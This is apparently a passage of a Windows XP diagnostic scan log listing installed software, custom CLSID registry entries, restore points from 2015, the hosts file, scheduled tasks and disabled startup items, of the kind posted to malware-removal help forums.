    Adobe Media Player (HKLM\...\com.adobe.amp.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 1.1 - Adobe Systems Incorporated)
    Any Video Converter 3.4.0 (HKLM\...\Any Video Converter_is1) (Version: - Any-Video-Converter.com)
    Apple Application Support (32-bit) (HKLM\...\{AFA1153A-F547-409B-B837-3A0D6C5A3FEC}) (Version: 3.1.3 - Apple Inc.)
    Apple Mobile Device Support (HKLM\...\{E1DB0812-2D60-43DB-AE09-6C7027D93B28}) (Version: 8.1.1.3 - Apple Inc.)
    Apple Software Update (HKLM\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)
    Bonjour (HKLM\...\{79155F2B-9895-49D7-8612-D92580E0DE5B}) (Version: 3.0.0.10 - Apple Inc.)
    Citrix online plug-in - web (HKLM\...\CitrixOnlinePluginPackWeb) (Version: 12.0.3.6 - Citrix Systems, Inc.)
    Connect (Version: 1.0.0.1 - Adobe Systems Incorporated) Hidden
    DW WLAN Card Utility (HKLM\...\DW WLAN Card Utility) (Version: 5.60.18.44 - Dell Inc.)
    eReg (Version: 1.20.138.34 - Logitech, Inc.) Hidden
    Facebook Plug-In (HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Facebook Plug-In) (Version: - Facebook, Inc.)
    Fitbit Connect (HKLM\...\{6A7C2B2E-36A3-4EF5-96C6-708CD090A3AD}) (Version: 1.0.1.5127 - Fitbit Inc.)
    Garmin ANT Agent (HKLM\...\{B6D17D97-44CE-402E-BBF2-B38492CBFED7}) (Version: 2.3.3 - Garmin Ltd or its subsidiaries)
    Garmin USB Drivers (HKLM\...\{65F9E1F3-A2C1-4AA9-9F33-A3AEB0255F0E}) (Version: 2.3.0.0 - Garmin Ltd or its subsidiaries)
    Google Chrome (HKLM\...\Google Chrome) (Version: 46.0.2490.86 - Google Inc.)
    Google Earth Plug-in (HKLM\...\{4AB54F11-2F8C-11E3-B09F-B8AC6F97B88E}) (Version: 7.1.2.2041 - Google)
    Google Talk Plugin (HKLM\...\{F7770F7F-0ABC-30CB-95BC-93761A05CAB6}) (Version: 5.38.4.0 - Google)
    Google Toolbar for Internet Explorer (HKLM\...\{2318C2B1-4965-11d4-9B18-009027A5CD4F}) (Version: 7.5.6904.2028 - Google Inc.)
    Google Toolbar for Internet Explorer (Version: 1.0.0 - Google Inc.) Hidden
    Google Update Helper (Version: 1.3.24.15 - Google Inc.) Hidden
    Google Update Helper (Version: 1.3.28.15 - Google Inc.) Hidden
    HP Photosmart Premium C309g-m All-in-One Driver 14.0 Rel. 6 (HKLM\...\{CCD42CCF-9AFF-4BC5-862A-38CCD3C8E8F8}) (Version: 14.0 - HP)
    HP Support Solutions Framework (HKLM\...\{FC3C2B77-6800-48C6-A15D-9D1031130C16}) (Version: 11.51.0049 - Hewlett-Packard Company)
    inContact_Agent (HKLM\...\{DFB45880-1B78-4107-8028-A134B83ECD5B}) (Version: 1.0.0 - UCN)
    Intel(R) Graphics Media Accelerator Driver (HKLM\...\HDMI) (Version: - Intel Corporation)
    IPFilter Updater (HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\07140e809c2bb6df) (Version: 1.0.0.11 - David Moore)
    iTunes (HKLM\...\{86D04316-F49A-4AF2-B3F1-A1E943886CE7}) (Version: 11.3.1.2 - Apple Inc.)
    iTunes (HKLM\...\{CE1F04C7-79BC-4219-BE6A-BA490224D4B5}) (Version: 12.1.2.27 - Apple Inc.)
    Jawbone Updater (HKLM\...\Jawbone Updater) (Version: 0.1 - Jawbone)
    Junk Mail filter update (Version: 14.0.8089.726 - Microsoft Corporation) Hidden
    KODAK Picture CD Volume 2 Issue 4 (HKLM\...\KODAK Picture CD Volume 2 Issue 4) (Version: - )
    kuler (Version: 2.0 - Adobe Systems Incorporated) Hidden
    Logitech SetPoint 6.61 (HKLM\...\sp6) (Version: 6.61.15 - Logitech)
    Malwarebytes Anti-Malware version 2.2.0.1024 (HKLM\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.0.1024 - Malwarebytes)
    Microsoft .NET Framework 1.1 (HKLM\...\Microsoft .NET Framework 1.1 (1033)) (Version: - )
    Microsoft .NET Framework 1.1 Security Update (KB2698023) (HKLM\...\M2698023) (Version: - )
    Microsoft .NET Framework 1.1 Security Update (KB2833941) (HKLM\...\M2833941) (Version: - )
    Microsoft .NET Framework 1.1 Security Update (KB979906) (HKLM\...\M979906) (Version: - )
    Microsoft .NET Framework 2.0 Service Pack 2 (HKLM\...\{C09FB3CD-3D0C-3F2D-899A-6A1D67F2073F}) (Version: 2.2.30729 - Microsoft Corporation)
    Microsoft .NET Framework 3.0 Service Pack 2 (HKLM\...\{A3051CD0-2F64-3813-A88D-B8DCCDE8F8C7}) (Version: 3.2.30729 - Microsoft Corporation)
    Microsoft .NET Framework 3.5 SP1 (HKLM\...\Microsoft .NET Framework 3.5 SP1) (Version: - Microsoft Corporation)
    Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)
    Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)
    Microsoft Base Smart Card Cryptographic Service Provider Package (HKLM\...\KB909520) (Version: - Microsoft Corporation)
    Microsoft Compression Client Pack 1.0 for Windows XP (HKLM\...\MSCompPackV1) (Version: 1 - Microsoft Corporation)
    Microsoft Expression Encoder 4 (HKLM\...\Encoder_4.0.1651.0) (Version: 4.0.1651.0 - Microsoft Corporation)
    Microsoft Expression Encoder 4 Screen Capture Codec (HKLM\...\{952DCCD8-4039-46C8-BC8B-5C1EB6C8E130}) (Version: 4.0.1651.0 - Microsoft Corporation)
    Microsoft Office 2007 Service Pack 3 (SP3) (HKLM\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version: - Microsoft)
    Microsoft Office Enterprise 2007 (HKLM\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
    Microsoft Office File Validation Add-In (HKLM\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
    Microsoft Office Live Add-in 1.5 (HKLM\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
    Microsoft Office Outlook Connector (HKLM\...\{95120000-0122-0409-0000-0000000FF1CE}) (Version: 12.0.6423.1000 - Microsoft Corporation)
    Microsoft Office SharePoint Designer 2007 (HKLM\...\SharePointDesigner) (Version: 12.0.6612.1000 - Microsoft Corporation)
    Microsoft Office SharePoint Designer 2007 Service Pack 3 (SP3) (HKLM\...\{90120000-0017-0000-0000-0000000FF1CE}_SharePointDesigner_{4B4DF6E2-5E40-422B-82DD-205FD7E79226}) (Version: - Microsoft)
    Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.30514.0 - Microsoft Corporation)
    Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)
    Microsoft Sync Framework Runtime Native v1.0 (x86) (HKLM\...\{8A74E887-8F0F-4017-AF53-CBA42211AAA5}) (Version: 1.0.1215.0 - Microsoft Corporation)
    Microsoft Sync Framework Services Native v1.0 (x86) (HKLM\...\{BD64AF4A-8C80-4152-AD77-FCDDF05208AB}) (Version: 1.0.1215.0 - Microsoft Corporation)
    Microsoft User-Mode Driver Framework Feature Pack 1.0 (HKLM\...\Wudf01000) (Version: - Microsoft Corporation)
    Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 (HKLM\...\{770657D0-A123-3C07-8E44-1C83EC895118}) (Version: 8.0.50727.4053 - Microsoft Corporation)
    Microsoft Visual C++ 2005 Redistributable (HKLM\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
    Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
    Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
    Mozilla Firefox 42.0 (x86 en-US) (HKLM\...\Mozilla Firefox 42.0 (x86 en-US)) (Version: 42.0 - Mozilla)
    Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 42.0.0.5780 - Mozilla)
    MSXML 4.0 SP2 (KB954430) (HKLM\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)
    MSXML 4.0 SP2 (KB973688) (HKLM\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)
    MSXML 6.0 Parser (HKLM\...\{AEB9948B-4FF2-47C9-990E-47014492A0FE}) (Version: 6.00.3883.8 - Microsoft Corporation)
    Nero 8 (HKLM\...\{3C5F1B30-B10B-4579-86DD-D00F662E1033}) (Version: 8.3.173 - Nero AG)
    Network (Version: 140.0.215.000 - Hewlett-Packard) Hidden
    OGA Notifier 2.0.0048.0 (Version: 2.0.0048.0 - Microsoft Corporation) Hidden
    PDF Settings CS4 (Version: 9.0 - Adobe Systems Incorporated) Hidden
    Photoshop Camera Raw (Version: 5.0 - Adobe Systems Incorporated) Hidden
    Pixel Bender Toolkit (Version: 1.0 - Adobe Systems Incorporated) Hidden
    PowerDVD DX (HKLM\...\{6811CAA0-BF12-11D4-9EA1-0050BAE317E1}) (Version: 8.2.5711 - CyberLink Corp.)
    PS_AIO_06_C309g-m_SW_Min (Version: 140.0.690.000 - Hewlett-Packard) Hidden
    QuickTime 7 (HKLM\...\{3D2CBC2C-65D4-4463-87AB-BB2C859C1F3E}) (Version: 7.76.80.95 - Apple Inc.)
    Realtek High Definition Audio Driver (HKLM\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: - Realtek Semiconductor Corp.)
    Roxio Creator DE 10.3 (HKLM\...\{09760D42-E223-42AD-8C3E-55B47D0DDAC3}) (Version: 10.3 - Roxio)
    Scan (Version: 140.0.80.000 - Hewlett-Packard) Hidden
    Segoe UI (Version: 14.0.4327.805 - Microsoft Corp) Hidden
    Suite Shared Configuration CS4 (Version: 1.0 - Adobe Systems Incorporated) Hidden
    Toolbox (Version: 140.0.428.000 - Hewlett-Packard) Hidden
    Update for 2007 Microsoft Office System (KB967642) (HKLM\...\{90120000-0017-0000-0000-0000000FF1CE}_SharePointDesigner_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version: - Microsoft)
    Update for 2007 Microsoft Office System (KB967642) (HKLM\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version: - Microsoft)
    Visual Studio 2012 x86 Redistributables (HKLM\...\{98EFF19A-30AB-4E4B-B943-F06B1C63EBF8}) (Version: 14.0.0.1 - AVG Technologies CZ, s.r.o.)
    WD SmartWare Drive Manager (HKLM\...\{5E3F4AF2-17B5-4000-8350-CD0680DD46F7}) (Version: 1.5.0 - Western Digital)
    WebFldrs XP (Version: 9.50.7523 - Microsoft Corporation) Hidden
    WebReg (Version: 70.0.170.000 - Hewlett-Packard) Hidden
    Windows Driver Package - Dynastream Innovations (libusb0) LibUsbDevices (07/07/2009 1.12.2) (HKLM\...\24DA573F901348FFDFF7717497830D45BE0C362E) (Version: 07/07/2009 1.12.2 - Dynastream Innovations)
    Windows Driver Package - Garmin (grmnusb) GARMIN Devices (06/03/2009 2.3.0.0) (HKLM\...\49CF605F02C7954F4E139D18828DE298CD59217C) (Version: 06/03/2009 2.3.0.0 - Garmin)
    Windows Genuine Advantage Validation Tool (KB892130) (HKLM\...\KB892130) (Version: - Microsoft Corporation)
    Windows Genuine Advantage Validation Tool (KB892130) (HKLM\...\WGA) (Version: 1.7.0069.2 - Microsoft Corporation)
    Windows Internet Explorer 8 (HKLM\...\ie8) (Version: 20090308.140743 - Microsoft Corporation)
    Windows Live Essentials (HKLM\...\WinLiveSuite_Wave3) (Version: 14.0.8089.0726 - Microsoft Corporation)
    Windows Live ID Sign-in Assistant (HKLM\...\{10A44844-4465-456E-8C97-80BDD4F68845}) (Version: 6.500.3146.0 - Microsoft Corporation)
    Windows Live Sync (HKLM\...\{84EBDF39-4B33-49D7-A0BD-EB6E2C4E81C1}) (Version: 14.0.8089.726 - Microsoft Corporation)
    Windows Live Upload Tool (HKLM\...\{205C6BDD-7B73-42DE-8505-9A093F35A238}) (Version: 14.0.8014.1029 - Microsoft Corporation)
    Windows Media Encoder 9 Series (HKLM\...\Windows Media Encoder 9) (Version: - )
    Windows Media Encoder 9 Series SDK (HKLM\...\{84BBFA13-C40E-4287-85EF-E8B1034451AA}) (Version: 9.00.2980 - Microsoft Corporation)
    Windows Media Format 11 runtime (HKLM\...\Windows Media Format Runtime) (Version: - )
    Windows Media Player 11 (HKLM\...\Windows Media Player) (Version: - )
    Windows PowerShell(TM) 1.0 (HKLM\...\KB926139-v2) (Version: 2 - Microsoft Corporation)
    Windows PowerShell(TM) 1.0 MUI pack (HKLM\...\KB926141) (Version: 2 - Microsoft Corporation)
    WinRAR 5.01 (32-bit) (HKLM\...\WinRAR archiver) (Version: 5.01.0 - win.rar GmbH)

    ==================== Custom CLSID (Whitelisted): ==========================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\localserver32 -> C:\Documents and Settings\Geny\Application Data\Dropbox\bin\Dropbox.exe /autoplay => No File
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{022105BD-948A-40C9-AB42-A3300DDF097F}\localserver32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe (Google Inc.)
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{035FBE31-3755-450A-A775-5E6BBD43D344}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.135\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{095A2EEC-F7FE-42E8-96FB-C20E53081908}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.99\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{0E55CBE1-B06A-49B6-AD8D-9EFAA0160C6F}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.57\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{218D2740-5A50-42A8-AB9F-62FF1B168782}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.69\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{22181302-A8A6-4F84-A541-E5CBFC70CC43}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{29A96789-9595-4947-BEDB-0FCC776F7DB8}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.2.183.39\goopdate.dll (the data entry has 11 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{2F0E2680-9FF5-43C0-B76E-114A56E93598}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{320F0FDB-BE0A-4648-9D18-4A2C3448C007}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.79\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{32C3FEAE-0877-4767-8C20-62A5829A0945}\InprocServer32 -> C:\Documents and Settings\Geny\Application Data\Facebook\axfbootloader.dll ( )
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.23.9\psuser.dll => (the data entry has 7 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{39125640-8D80-11DC-A2FE-C5C455D89593}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Google Talk Plugin\googletalkax.dll (Google)
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{51F9E8EF-59D7-475B-A106-C7EA6F30C119}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{62A0D750-DED9-448C-B693-406B34BB0892}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.145\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{634059C0-D264-4B2C-AE80-F73E48D33E5B}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.123\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{6D7374DE-63AA-473C-8C02-60D9CDCD84C5}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.153\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{85D22876-D758-4185-9DE4-E12014F8B75C}\InprocServer32 -> C:\Documents and Settings\All Users\Application Data\{42793930-2684-4C15-9B87-9CEF8846A875}\cmpbk32. (the data entry has 14 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{91EFB276-CEFE-48EC-BB3A-57795A7B4008}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.149\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{A45426FB-E444-42B2-AA56-419F8FBEEC61}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.22.3\psuser.dll => (the data entry has 7 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{A54D478D-4F70-4F72-9A74-17C9986E35AB}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.165\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{AB9F4455-E591-4132-A386-0B91EAEDB96C}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Google Talk Plugin\o1dax.dll (Google)
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdat (the data entry has 17 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C442AC41-9200-4770-8CC0-7CDB4F245C55}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdat (the data entry has 17 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C5A2122B-A05B-4FD8-AE49-91990AE10998}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.115\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{C98FE784-B96E-41e1-8399-1337AE3E539F}\InprocServer32 -> C:\Documents and Settings\Geny\Application Data\Facebook\npfbplugin_1_0_3.dll ( )
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{DB25D157-76D4-41C1-97B5-359E4A4CECEB}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.65\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E67BE843-BBBE-4484-95FB-05271AE86750}\localserver32 -> "C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\GoogleUpdate (the data entry has 24 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E69341A3-E6D2-4175-B60C-C9D3D6FA40F6}\localserver32 -> C:\Documents and Settings\Geny\Application Data\Dropbox\bin\Dropbox.exe /wiacallback => No File
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{E8CF3E55-F919-49D9-ABC0-948E6CB34B9F}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\psuser.dll => (the data entry has 8 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{EB06378B-ABB6-4B3C-9B40-D488DD8A6E93}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.22.5\psuser.dll => (the data entry has 7 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{FB994D36-B312-46CE-A40B-CF63980641F9}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.21.111\psuser.dll = (the data entry has 9 more characters).
    CustomCLSID: HKU\S-1-5-21-1454471165-790525478-1801674531-1003_Classes\CLSID\{FE498BAB-CB4C-4F88-AC3F-3641AAAF5E9E}\InprocServer32 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.7\psuser.dll => (the data entry has 7 more characters).

    ==================== Restore Points =========================

    11-08-2015 08:19:16 System Checkpoint
    12-08-2015 19:11:16 System Checkpoint
    13-08-2015 20:50:20 System Checkpoint
    15-08-2015 04:56:54 System Checkpoint
    16-08-2015 10:11:59 System Checkpoint
    17-08-2015 22:14:54 System Checkpoint
    19-08-2015 19:01:24 System Checkpoint
    19-08-2015 19:44:37 Installed AVG 2015
    19-08-2015 19:46:50 Removed AVG 2015
    20-08-2015 22:39:49 System Checkpoint
    22-08-2015 00:11:19 System Checkpoint
    23-08-2015 08:27:56 System Checkpoint
    24-08-2015 11:32:31 System Checkpoint
    25-08-2015 21:50:40 System Checkpoint
    28-08-2015 01:29:30 System Checkpoint
    30-08-2015 14:45:55 System Checkpoint
    31-08-2015 19:33:19 System Checkpoint
    02-09-2015 06:00:27 System Checkpoint
    03-09-2015 17:15:53 System Checkpoint
    05-09-2015 09:36:26 System Checkpoint
    06-09-2015 09:49:46 System Checkpoint
    09-09-2015 07:32:24 System Checkpoint
    10-09-2015 23:33:00 System Checkpoint
    12-09-2015 05:46:18 System Checkpoint
    13-09-2015 07:47:26 System Checkpoint
    14-09-2015 13:34:10 System Checkpoint
    01-10-2015 08:55:56 System Checkpoint
    03-10-2015 03:58:33 System Checkpoint
    05-10-2015 23:26:54 System Checkpoint
    08-10-2015 06:55:34 System Checkpoint
    09-10-2015 21:37:59 System Checkpoint
    11-10-2015 15:56:23 System Checkpoint
    14-10-2015 01:22:52 System Checkpoint
    15-10-2015 06:38:19 System Checkpoint
    17-10-2015 15:40:51 System Checkpoint
    18-10-2015 16:35:53 System Checkpoint
    19-10-2015 19:24:43 System Checkpoint
    21-10-2015 12:44:41 System Checkpoint
    23-10-2015 01:20:52 System Checkpoint
    24-10-2015 02:19:23 System Checkpoint
    25-10-2015 20:55:19 System Checkpoint
    27-10-2015 07:47:16 System Checkpoint
    28-10-2015 08:52:50 System Checkpoint
    29-10-2015 13:18:35 System Checkpoint
    30-10-2015 22:04:58 System Checkpoint
    01-11-2015 06:58:43 System Checkpoint
    02-11-2015 08:31:36 System Checkpoint
    03-11-2015 06:43:15 Installed AVG 2016
    03-11-2015 06:43:29 Removed AVG 2015
    03-11-2015 06:43:58 Installed AVG
    03-11-2015 06:46:24 Removed AVG 2015
    04-11-2015 08:18:20 System Checkpoint
    05-11-2015 20:17:18 System Checkpoint
    06-11-2015 22:17:10 System Checkpoint
    08-11-2015 12:34:00 System Checkpoint
    17-11-2015 08:36:37 JRT Pre-Junkware Removal
    18-11-2015 06:40:28 Installed OPSWAT GEARS

    ==================== Hosts content: ===============================

    (If needed Hosts: directive could be included in the fixlist to reset Hosts.)

    2008-04-14 05:00 - 2015-11-18 19:44 - 00000027 ____A C:\WINDOWS\system32\Drivers\etc\hosts

    127.0.0.1 localhost

    ==================== Scheduled Tasks (Whitelisted) =============

    (If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003Core.job => C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\GoogleUpdateTaskUserS-1-5-21-1454471165-790525478-1801674531-1003UA.job => C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe
    Task: C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Logon.job => C:\WINDOWS\system32\xp_eos.exe
    Task: C:\WINDOWS\Tasks\Microsoft Windows XP End of Service Notification Monthly.job => C:\WINDOWS\system32\xp_eos.exe

    ==================== Loaded Modules (Whitelisted) ==============

    2010-03-30 13:04 - 2010-03-30 13:03 - 00025088 _____ () C:\WINDOWS\System32\WLTRYSVC.EXE
    2010-03-30 13:04 - 2010-03-30 13:03 - 00757760 _____ () C:\WINDOWS\System32\bcm1xsup.dll
    2015-01-20 22:35 - 2015-01-20 22:35 - 00073544 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
    2015-01-20 22:35 - 2015-01-20 22:35 - 01044776 _____ () C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
    2010-03-30 13:04 - 2010-03-30 13:03 - 00143360 _____ () C:\WINDOWS\system32\preflib.dll
    2013-09-21 17:59 - 2009-01-18 14:50 - 00417792 _____ () C:\Program Files\Adobe\Acrobat 9.0\Acrobat\AdobeXMP.dll

    ==================== Alternate Data Streams (Whitelisted) =========

    (If an entry is included in the fixlist, only the ADS will be removed.)


    ==================== Safe Mode (Whitelisted) ===================

    (If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" value will be restored.)


    ==================== EXE Association (Whitelisted) ===============

    (If an entry is included in the fixlist, the registry item will be restored to default or removed.)


    ==================== Internet Explorer trusted/restricted ===============

    (If an entry is included in the fixlist, it will be removed from the registry.)


    ==================== Other Areas ============================

    (Currently there is no automatic fix for this section.)

    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Control Panel\Desktop\\Wallpaper ->
    DNS Servers: 192.168.0.1 - 205.171.2.65
    Windows Firewall is enabled.

    ==================== MSCONFIG/TASK MANAGER disabled items ==

    (Currently there is no automatic fix for this section.)

    MSCONFIG\startupfolder: C:^Documents and Settings^All Users^Start Menu^Programs^Startup^WD Quick View.lnk => C:\WINDOWS\pss\WD Quick View.lnkCommon Startup
    MSCONFIG\startupreg: Fitbit Connect => "C:\Program Files\Fitbit Connect\Fitbit Connect.exe" /autorun
